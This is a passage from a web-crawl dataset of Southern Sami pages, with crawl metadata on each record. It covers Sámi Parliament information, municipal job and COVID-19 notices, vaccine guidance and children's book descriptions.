Ramsalt","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/lohkanguovddas.no\/sma","date":"2020-07-13T17:00:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657146247.90\/warc\/CC-MAIN-20200713162746-20200713192746-00412.warc.gz","language":"sma","language_score":0.9999103546,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999103546142578}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nAhtos-Ande lea nåajte, sjamane. Dijte les jijtjemse gaaranasine dorjeme jih gihtjie Aigine Lavram satnem dåeriedidh. Dah lopme-vaeriej bijjelen vuemien mietie dåvvese.\nGiesie Bassegohppesne lea rovmane maanide jih noeride. Daesnie maahta Aigine Lavram dåeriedidh saemiej aejles sæjjan voejkenen tjirrh, jih giltegs govledh mij deahpede.\nGærja lea Torkjel Rasmussen voestes gærja maanide jih noeride. Aerebe leah gøøkte gærjah maanide tjaaøeme.\nDatne aaj daam rovmanem maahtah goltelidh goh tjoejenasse-gærja.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saemiensijte.no\/produkter\/aigine-lavra-giesie-bassegohppesne\/","date":"2020-08-11T09:48:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00308.warc.gz","language":"sma","language_score":0.999963522,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999635219573975}","num_words":67,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raarvihken åålmeh-miehtjien tjïelte vijrenohkine jïh åajvah daebpene vijredh jïh gööledh. Laategh gusnie tjoevkh jïh gïerestimmiedeava Byrkijenjarngesne.\nRaarvihken tjïelte lea reeremetjïelte (guektien gïelen tjïelte) ulmine dam åarjel saemien gïelem jïh kultuvrem evtiedidh. Raarvihken tjïelten buerie kultuvre jïh siebriejieleme. Tjïelten buerie skuvle jïh maanagïertefaaleldahkine, jïh maahta hijven byjjenimmiem faaledh.\nRaarvihke tjïelte- mejtie dov bööremes veeljeme.\nBarkoe laaken- jïh njoelkedasselaaken mietie jïh tariffelatjkoen mietie 2 % KLP: sne. Raarvihken barkijepolitihkeles ulmine, guktie sïjhtebe dovne noere jïh båarasåbpoe barkijh utnedh, nyjsenæjja ålmah utnedh jïh joekehth kultuvrevåaromem utnieh.\nAellieh vïhtesjimmide daelie seedth, menh dijph meatan jis barkoegoeredallese båatah. Syökemelæstoe maahta byjjes sjïdtedh jalhts syökije vaajtele tjeakoes dam utnedh. Vuartesjh off. laake §25.\nOhtsemegoere barkoe gaavnoes\nBarkoeh gaavnoes\n(orre ohtsememierie gaajhkide barkojde lea 15.06.20)","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/tjielten-bijre\/barkoeh-gaavnoes\/","date":"2020-08-14T16:48:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739347.81\/warc\/CC-MAIN-20200814160701-20200814190701-00572.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":114,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laakh mah leah saemien skïemtjiji reaktaj bïjreSaemien skïemtjijh reaktah utnieh nasjonaale laaki jïh gaskenasjonaale konvensjovni tjïrrhSaemielaaken § 3-5 reaktah vadta årroejidie saemien reeremedajven sisnjelen saemien nuhtjedh juktie jïjtsh ïedtjh gorredidh voenges jïh regijonaale byögkeles healsoe- jïh sosijaaleinstitusjovnigujmie, jïh reaktam utnieh viehkiem åadtjodh saemiengïelesne. Seammalaakan Skïemtjijereaktalaaken § 3-5 tjïerteste skïemtjijh krïevenassem åtna bïevnesh åadtjodh mah leah sjïehtedamme dåastojen jïjtse tsiehkide, goh aaltere, geervevoete, dååjrehtimmie jïh kultuvre- jïh gïelemaadtoe. OT.prp. nr 12 tjïerteste reaktan gaavhtan bïevnesh åadtjodh, mah leah fïerhten skïemtjijen sjïere daerpiesvoetese sjïehtedamme, byöroe toelhkem skååffedh saamastallije skïemtjijidie, jallh skïemtjijh byöroeh viehkiem åadtjodh saamastallije healsoebarkijijstie gosse daerpies ihke skïemtjije edtja maehtedh bïevnesh åadtjodh mah leah laaken krïevenassi mietie. .Vuesehte aaj ILO-konvensjovnese nr 169 aalkoeåålmegi jïh krirrieåålmegi bïjre jïjtjeraarehke staatine. EN:n konvensjovne maanaj reaktaj bïjre jïh EN:n bæjhkoehtimmie aalkoeåålmegi reaktaj bïjre. ILO-konvensjovne artihkele 25 gorrede saemiej lea reakta meatan årrodh dejtie sjyöhtehke healsoefaalenasside hammoedidh, jïh vihteste saemien utniji reaktam hijven healsoedïenesjh åadtjodh.Jeatjah laakh mah leah saemien skïemtjiji reaktaj bïjreLaake Saemiedigkien bijre jïh jeatjah saemien reaktatsiehkiej bïjre (saemielaake)§ 3-5. Vijriedamme reakta saemien nuhtjedh healsoe- jïh sosijaalesuerkesneLaake tjïelten healsoe- jïh hoksedïenesji bïjre jïh vielie (healsoe- jïh hoksedïenesjelaake)§ 3-10. Skïemtjiji jïh utniji baajnehtimmiem jïh laavenjostoem jïjtjevyljehke siebriejgujmieLaake skïemtjije- jïh utnijereaktaj bïjre (skïemtjije- jïh utnijereaktalaake)§ 3-5. Bïevnesen hammoe","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/maanavaarjelimmie-healsoe-jih-sosijaale\/reaktah\/","date":"2020-10-30T17:27:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00111.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":192,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ánte Mihkkal Gaup vueliem Saemiedægkan darjoeji Saemiedigkien rïhpestæmman 1989.\nSaemiedigkie reaktide Saemiedigkien vualan ribli 2019, maam Ánte Mihkkal Gaup darjoeji Saemiedigkien rïhpestæmman 1989.\nDellie Ánte Mihkkal Gaup vueliem joejki dan ellen voestes aejkien. Daelie vuelie aaj digitaale hammosne.\nGosse Saemiedigkien lea stoerretjåanghkoe, dellie tjirkijidie tjåanghkose gohtjede Saemiedigkien vueline. Saemiedigkien gaavhtan vihkeles aerpievuekieh våajnoes dorjesuvvieh jïh dan åvteste stoerretjåanghkoe edtja vueline gaavnedidh.\nDaesnie maahtah vielie lohkedh mij vuelie lea","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/saemiedigkien-vuelie\/","date":"2020-10-30T17:16:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00005.warc.gz","language":"sma","language_score":0.9995549321,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9995549321174622}","num_words":65,"character_repetition_ratio":0.137,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Våhkoen 43, lïhkebe nænnoestamme golken 19.- 25.b., lea daan jaepien gïelevåhkoe. Ulmie Gïelevåhkojne lea statusem lutnjedh saemien gïelide, jïh daajroem saemien gïeli jïh kultuvren bïjre lutnjedh abpe siebriedahkesne. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.\nLohkh: Nasjonaale jïh gaskenasjonaale saemien gïelevåhkoe 2020\nGïelevåhkoen lea jïjtse nedtesæjroe, programmine, vierhtiejgujmie jïh bïevnesigujmie gïelevåhkoen bïjre.\nLohkh vielie: https:\/\/www.giellavahkku.no\/","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/saemien-gielevahkoe\/","date":"2020-10-30T16:07:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00294.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":56,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelejarngh ulmine utnieh saemien gïelem våajnoes darjodh jïh viehkiehtidh guktie saemien nænnoesåbpoe sjædta jïh evtiesåvva.\nGïelejarngi darjomh viehkiehtieh saemien gïelem våajnoes darjodh voengesne.\nGïelejarngh sijjen gïeledajvh våaroeminie utnieh jïh råajvarimmiejgujmie nierhkieh mah leah daerpiesvoetide sjïehtedamme dejnie ovmessie dajvine.\nJis vielie bïevnesh sïjhth faalenassi bïjre mejtie gïelejarngh vedtieh, gaskesadth maaje ryöktesth:","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/saemien-gielejarngh\/","date":"2020-10-30T17:00:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00390.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":50,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dov regijovne man dïedtem åtna vaksinasjovnen åvteste. Gïehtjedh datne leah reaktoe regijovnem bijjemes sæjrosne guktie reaktoe bïevnesh åadtjoeh.\nVaksijne covid-19 vööste lea namhtah.\nDïhte jïjtjevyljehke jis sïjhth vaksijnem vaeltedh.\nGåessie manne maahtam vaksineeredh?\nFolkhälsomyndigheten lea öörnegem raeriestamme mah almetjh giejtie vaksinasjovnem faala. Voestegh vuesiehtimmien gaavhtan almetjh sjïere årromesijjine vaksineeredh, almetjh gïeh båarasåbpoe 65 jaepeste jïh almetjh gïeh hoksesne berkieh.\nGaajhkh almetjh gïeh 18 jaepieh jallh båarasåbpoe vaksinasjovne faalesuvvieh.\nDatnem raereste vaksijnem vaeltedh jïlhts datne leah covid-19 åtneme.\nGïeh eah byöroeh vaksijnem vaeltedh?\nMaanah jïh noerh 17 jaepien båeries jallh nuerebe ij raeresth vaksijnem vaeltedh. Datne gie nåajsan ij raeresth vaksijnem vaeltedh.\nSoptsestellieh dåaktarinie jis datne funterdh mij faamosne dutnjien jallh dov maanese.\nSoptsestellieh dåaktarinie jis datne aarebe allergijen reaksjovnem åtneme guktie datne tjoerih hoksem ohtsedidh seamma biejjien. Dïhte maahta båetedh vaksinasjovneste, daalhkesistie vuj mestie akt maam datne leah byöpmedamme.\nNaemhtie vaksineeredh\nDatne åadtjoeh vaksijnem stratjken tjïrrh bijjiegïetesne. Datne daarpesjh göökte stratjkh åadtjodh. Datne dejtie stratjkide åadtjoeh guektien ovmessie tïjjine.\nDatne såemies vaarjelimmiem åadtjoeh voestes stratjken mænngan. Akte vuj göökte våhkoej raejeste mubpien stratjken mænngan datne hijven vaarjelimmiem covid-19 vööste utnedh.\nDov lea reakta bïevnesh åadtjodh hoksebarkijistie gosse vaksijnem vaaltah. Gihtjh jis dov åssjelh dan bïjre.\nMaahtam mån vaksijnem vaeltedh jis manne skïemtjes?\nIh edtjh vaksineeredh jis vaejlie jallh covid-19 symtovmh åtnah.\nGuktie mannine dan mænngan?\nDov gïete maahta baektjiedidh, åejjieh saejriedieh jïh nahkeren sjïdtedh voestes dygnesne vaksinasjovnen mænngan. Datne maahtah aaj gåalodh, vaejliem åadtjodh jallh dov lïhtsh jïh åedtjieh baektjiedidh.\nDïhte pråvhka viesjies symtovmh årrodh jïh måedtie biejjiej raejesne lajvedh.\nHoksebarkijh edtjieh lissiedåårresh vaksijneste reektedidh\nHoksebarkijh åejvieladtjese Läkemedelsverket jis dah suvmieh vaksijneste lissiedåårresh sjïdtin.\nDatne maahtah aaj jïjtje reektedidh jis sovmh vaksinasjovneste lissiedåårresh sjïdtin.\nLea vaksijne vihties?\nVaksijne covid-19 vööste lea seamma eensi vuekine vååksjeme goh mubpieh vaksijnh. Gellie almetjh leah vaksijnem åådtjeme jïh dotkijh leah dah effekth goerehtamme.\nDotkijh gellie laantijste leah laavenjosteme vaksijnem evtiedidh. Gellie laanth jïh sïelth abpe veartanisnie leah jïjnjh beetnegh maakseme. Dan gaavhtan dam vaksijnem dan varki evtiedamme.\nSæjrosne Så fungerar vaccin datne maahtah vaksijnen bïjre lohkedh jïh filmh vuejnedh (Sveerjengïelesne).\nJåerhkieh raeride dåeriedidh guktie covid-19 suetiem heerredidh\nDatne edtjh åejvieladtji raeride dåeriedidh aaj mænngan datne leah vaksijnem åådtjeme.\nMedtie akte vuj göökte våhkoeh vaesieh mubpien vaksijnestratjken mænngan åvteli datne buerie vaarjelimmiem åtnah. Onne vaahra gujht gååvnese datne skïemtjelassem åadtjoeh vaallah datne leah vaksineereme.\nAaj onne vaahra datne vijrusem seejh jïlhts ih leah skïemtjes, vuesiehtimmien gaavhtan jis datne dam dov gïetine åådtjeme.\nIj ennje daejrieh man guhkiem vaksijne vaarjele.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.1177.se\/sma-se\/Skane\/other-languages\/other-languages\/covid-19\/vaccin-sydsamiska\/","date":"2021-02-28T04:08:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178360107.7\/warc\/CC-MAIN-20210228024418-20210228054418-00286.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":402,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nCovid-19 vijrusen gaavhtan jeenjemes almetjh gïeh covid-19:m åadtjoeh skïemtjedieh goh sovhtine. Muvhth almetjh itjmies skïemtjes sjidtieh jïh hoksem skïemtjegåetesne daarpesjieh.\nDïhte daarpesje teestem juktie daajra jis dov lea skïemtjelasse covid-19. Teste lea seamma goh pryövenasse. Vedtieh pryövenassem jis symptomh åtnah.\nDaesnie raerieh dutnjien gie skïemtjelassem covid-19 åtnah. Raerieh dutnjien gie maahtah gåetesne årrodh jïh ih hoksem skïemtjegåetesne daarpesjh.\nBïeljelh hoksem jïh vïerrebe skïemtjedh.\nCovid-19 lea laantestimmien skïemtjelasse. Vaksijnasjovne lea bööremes vuekieh heerredh guktie ij itjmies skïemtjes sjïdth vuj skïemtjelasseste jaemedh. Vaksijnasjovne maahtah aaj viehkine årrodh guktie geerjehtimmiem covid-19:ste sïebredahkesne vaeniedidh. Dan gaavhtan dïhte dan vihkeles gellie almetjh vaksijnesjovnem veeljieh.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.1177.se\/sma-se\/Ostergotland\/other-languages\/other-languages\/covid-19\/","date":"2021-05-18T08:14:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989756.81\/warc\/CC-MAIN-20210518063944-20210518093944-00137.warc.gz","language":"sma","language_score":0.9999865294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999865293502808}","num_words":110,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre koronavijruse (Covid-19)\nJïjnje tsåatskelesvoete dan orre koronavijrusen bïjre. Sïejhmemes skïemtjelasse Covid-19 ajve lijnies vaejvieh vadta. Såemies almetjh, joekoen båarasåbpoe almetjh jallh dah mah leah skïemtjes aarebistie, maehtieh joekoen skïemtjine sjïdtedh. Dan åvteste vihkeles gaajhkesh dovnesh viehkiehtieh suetiegeerjehtimmiem siebriedahkesne heerredh.\nJis suetiem åådtjeme maahta 0 – 14 biejjieh vaesedh åvtelen symptomh åadtjoeh. Sïejhmemes 5 – 6 biejjieh vaesieh. Datne maahtah mubpieh almetjh jeenjemes laanestidh mearan symptomh åtnah. Vaejlie, gossehtahke jïh hïeteme leah doh sïejhmemes symptomh. Naan gille almetjh gåbloe-ovlemem åadtjoeh jïh dåeriesmoerh åadtjoeh voejngehtidh jallh jeatjah itjmies skïemtjelassem åadtjodh.\nDam edtjh darjodh juktie suetiem heerredidh:\nDabpenh jovnesh!\n- Årroeh gåetesne jis skïemtjes domth.\n- Årroeh gåetesne jis bïevnesem åådtjeme dan bïjre (karanteenesne jallh isolasjovnesne).\n- Pryövh aktem meeteren gåhkoem hööltedh jeatjah almetjidie – jis gåarede.\nBïssh gïetide!\n- Bïssh gïetide daamtaj jïh veelelaakan\n- gosse ålkone orreme almetji gaskem\n- gosse onnegåetesne orreme\n- gosse gosseme, gesneme jallh snovsedamme\n- gosse edtjh beapmoem jurjiehtidh jallh byöpmedidh\n- Jis ih tjoelem jallh tjaetsiem utnieh maahtah desinfeksjovnevierhtiem nuhtjedh\nVuesehth raajnesvoetem gosse gossh!\n- Baajh årrodh gossedh jallh gesnedh mubpide\n- Gossh låammelijnien sïjse paehpieristie maam mænngan sleengkh. Bïssh gïetide mænngan!\n- Jis dov ij leah låammelijnie paehpieristie byörh gernjeregaevien sïjse gossedh.\nJis vïenhth datne leah laanestamme:\n- Jis sovmh datne leah laanestamme, edtjh gåetesne årrodh.\n- Jis medisijnen viehkiem daarpesjh pryövh voestegh dov staeriesdåakterem gaskesadtedh tellefovnesne. Jis ih dam jaksh, ringkh dåakterevaeptien tellefovnese 116 117.\nLohkh orrestamme bïevnesh\n- Åejvieladtjh gaajhkesidie birrie mah Nöörjesne årroeh vihkeles bïevnesh jïh raerieh lohkedh koronavijrusen bïjre sæjrosne fhi.no jïh www.helsenorge.no. Raerieh varke jorkesieh. Bïevnesh nöörjen jïh eengelsken gïelesne gååvnesieh. Jis dov leah dåeriesmoerh bïevnesidie guarkedh, mijjieh datnem haestebe naakenem viehkien bïjre birredh.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/roros.kommune.no\/aktuelt\/generell-informasjon-om-korona-pa-sorsamisk\/","date":"2021-06-15T18:49:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487621519.32\/warc\/CC-MAIN-20210615180356-20210615210356-00597.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":252,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesh dutnjien mij bïevnesem åådtjeme gåetesne årrodh. Gïele: Åarjelsaemien. Tseegkesovveme: 03\/2020 Orrestamme:\nDutnjien mij bïevnesem åådtjeme gåetesne årrodh\nJïjnje tsåatskelesvoete dan orre koronavijrusen bïjre. Doh jeanatjommesh mah skïemtjelassem Covid-19 evtiedieh ajve lijnies vaejvieh åadtjoeh, men naakenh maehtieh joekoen skïemtjine sjïdtedh. Dan åvteste pryövebe suetiegeerjehtimmiem siebriedahkesne heerredh.\nNaakenh birresuvvieh dåaktaristie gåetesne årrodh. Dah mah Covid-19 åådtjeme tjuerieh ållesth isolasjovnesne årrodh jeatjah almetjijstie. Dah mah eah leah skïemtjelassem åådtjeme, men leah maahteme vaahresne årrodh suetiem åadtjodh, tjuerieh årrodh dan sisnie mij gohtjesåvva gåetiekaranteene.\nMij gåetie-isolasjovne?\nJis dov dåaktere lea jeahteme dov lea Covid-19, jallh datne vuertieminie pryövevaestiedassh åadtjodh, tjoerh ållesth isolasjovnesne årrodh ollh datne mubpieh almetjh laanesth.\nGåetie-isolasjovne sæjhta jiehtedh datne edtjh ållesth isolasjovnesne årrodh gaajhkesijstie, aaj dejstie mejgujmie årroeminie. Ih åadtjoeh olkese vaedtsedh, tjoerh jïjtse tjiehtjielisnie årrodh eevre oktegh, tjiehtjielisnie byöpmedidh jïh ih tjoerh njaamelijniem mubpiejgujmie juekedh.\nJis datnine vïerrebe sjædta, tjoerh dåakterem gaskesadtedh tellefovnesne. Aaj gåarede isolasjovnesne årrodh skïemtjegåetesne. Isolasjovne vaasa goske dåaktere jeahta dov ij leah vielie suetie, jallh pryöveilledahke vuesehte dov ij leah Covid-19.\nMij gåetie-karanteene?\nJis dov dåaktere lea jeahteme datne ih leah skïemtjes, men datne leah vaahresne orreme suetiem åadtjodh, tjoerh karanteenesne årrodh. Dellie tjoerh gåetesne årrodh men ij leah seamma striengkies krïevenassh goh gåetie-isolasjovnesne. Gåetiekaranteene sæjhta jiehtedh datne edtjh gaskesem giehpiedidh jeatjah almetjigujmie dan jïjnje gåarede, men ih daarpesjh ellies isolasjovnesne årrodh. Ih maehtieh skuvlesne, barkosne jïh jeatjah darjoeminie mïnnedh jïh ih maehtieh ektieskovhtem vaeltedh (busse, trigke, t-baane, girtie jallh feerja), men maahtah ålkone vaedtsedh oktegh. Jis aalkah gossedh, tjeapohke-ovlemem åadtjoeh, aalkah hïetedh jallh vaejliem åtnah, gaskesadth dåakterem tellefovnesne. Gåetiekaranteene vaasa 14 biejjieh mænngan datne leah suetievaahresne orreme.\nLohkh orrestamme bïevnesh!\nÅejvieladtjh gaajhkesidie birrieh mah Nöörjesne årroeh vihkeles bïevnesh jïh raerieh lohkedh koronavijrusen bïjre sæjrojne www.fhi.no jïh www.helsenorge.no. Raerieh varke jorkesieh. Bïevnesh nöörjen jïh eengelsken gïelesne gååvnesieh. Jis dov leah dåeriesmoerh bïevnesidie guarkedh, mijjieh datnem haestebe naakenem viehkien bïjre birredh.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/roros.kommune.no\/aktuelt\/dutnjien-mij-bievnesem-aadtjeme-gaetesne-arrodh\/","date":"2021-06-15T19:48:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487621519.32\/warc\/CC-MAIN-20210615180356-20210615210356-00606.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":303,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nStoerretjåanghkoe aalka dæjstan goeven 7. b. ts. 09.00 jïh orreje bearjadahken goeven 10. b. åvtelen ts. 14.00.\nVuartesjh aamhteselæstoem jïh programmem\nlea prosjekte mejnie Nöörjen Saemiedigkie lea aalkeme.\nMijjieh sïjhtebe saemien maanah edtjieh dam ellen bööremes aalkovem åadtjodh goh gåarede sijjen gïelem evtiedidh. Gosse eejhtegh, aahka gon aajjah jïh jeatjah geerve almetjh maanese luhkieh dellie dïhte vihkeles våaromem vadta lïeremasse jïh lohkemelastose jïh mænngan lohkeme- jïh tjaelemebievniemasse.\nLohkh vielie Lohkh munnjien! bïjre","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no?sprak=14\/","date":"2021-11-28T20:20:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358591.95\/warc\/CC-MAIN-20211128194436-20211128224436-00267.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":84,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nDïhte åenehks maanagærja Tjuetiekråvnasïetele gåarede varke lohkedh, jïh aelhkie teekstem åtna. Sisvege gærjesne lea Åvla dan jïjnjh åssjaldahkh åådtje, baernie mij dååjroe aehtjebe måarahtåvva gosse akte beetnehsïetele lea gaarvanamme.\n\/\/\nDen korte barneboka «Tjuetiekråvnasïetele» («Hundrelappen») er raskt lest, med enkel tekst. Men den gir mye å tenke på for Åvla, gutten som opplever at faren blir rasende når en pengeseddel blir borte.\nSpesifikasjoner\nSpråk: Sørsamisk\nUtgiver: Gïelem nastedh\nISBN: ISBN 978-82-93402-56-5\nOversetter: Åse Klemensson","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/nettbutikk.saemiensijte.no\/product\/10785","date":"2021-12-02T21:01:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362297.22\/warc\/CC-MAIN-20211202205828-20211202235828-00237.warc.gz","language":"sma","language_score":0.9532940984,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9532940983772278, \"nob_Latn_score\": 0.03137928992509842, \"sme_Latn_score\": 0.012527985498309135}","num_words":73,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh sïjhtebe soptsestallemem healsoestasjovnesne dåarjodh lohkemen, gïeleevtiedimmien jïh gïeleveeljemen bïjre saemien fuelhkide smaave maanajgujmie.\nDaennie prosjektesne libie gærjam Riepientjovke bæjhkoehtamme dejtie unnemes maanide. Lissine gærjese libie teekstegærjetjem seamma gærjese bæjhkoehtamme guhkebe teekstine dejtie ånnetji stuerebe maanide.\nFuelhkieh smaave maanajgujmie joe daelie maana voestes jieledejaepien bööresuvvieh sijjen voenges gærjajgujmie åahpenidh jïh saemien gærjah löönedh.\nGåabpegh gærjabæjhkoehtimmieh gærjaveaskosne healsoestasjovnese seedtebe mij maahta gærjaveaskoem dongkedh Saemiedigkien luvnie. Daennie vadtesepaahkesne aaj bïevnesetjaalegh lohkemen jïh gïeleevtiedimmien bïjre. Healsoestasjovne maahta sov utnijh Lohkh munnjien- råajvarimmien bïjre bievnedh daejnie materijelline, jïh gærjaveaskoem saemien maanafuelhkide joekedidh.\nVeedtjh vadtesegærjam gærjagåeteste\nDoh ånnetji stuerebe maanah vadtesekåarhtem gærjagåatan åadtjoeh gosse 2- jïh 4-jaepiengiehtjedimmesne juktie gærjam veedtjedh jïh sijjen voenges gærjagåetine åahpenidh.\nProsjektesne göökte namhtah gærjah seedtebe gærjagåetide dejnie tjïeltine mah sijhtieh meatan årrodh råajvarimmesne\n2-jaepiengïehtjedimmesne maanah gærjam Milli ja Bolfi - Milli jávká - Milli gáhtu\/\/Millie gon Bolfieh - Millie gaarvene.\n4-jaepiengiehtjedimmesne maanah gærjam (vaajteles gïelen mietie), Lilli, áddjá ja guovssahas (Lilli, farfar och norrskenet).\nUlmie lea voenges gærjagåetieh laavenjostosne healsoestasjovnine saemien lidteratuvrem jïh gïelem vielie våajnoes jïh gaavnoes darjoeh tjïeltesne. Daan prosjekten tjïrrh Saemiedigkien gærjagåetie bïhkedimmiem jïh dåarjoem vadta gærjagåetide lidteratuvrem skååffedh ovmessie aalteredåehkide jïh lohkemeståantem jallh jeatjah darjomh utnedh gærjagåetesne. Lissine vadtesegærjide gærjagåetieh maehtieh veaskoem dongkedh bïevnesetjaalegigujmie. Bïevnesematerijelle aaj digitaale gååvnese.\nDongkh daesnie\nDovne gærjaveaskoe materijelline jïh gærjah leah namhtah, aaj påastemaaksoeh.\nGærjaveaskoe healsoestasjovnese seedtesåvva jïh gærjah gærjagåatan. Dan åvteste tjoerh mujhtedh påasteadressem tjaeledh gosse dongkh. Mujhtieh aaj dongkemisnie tjaeledh man gellie gærjaveaskoeh jallh gærjah dijjieh sïjhtede jïh mennie saemien gïelesne. Gærjagåetieh tjuerieh lissine tjaeledh man gellie gærjah dejstie göökte joekehts gærjijste dah sijhtieh.\nTjaelieh aaj dongkijen 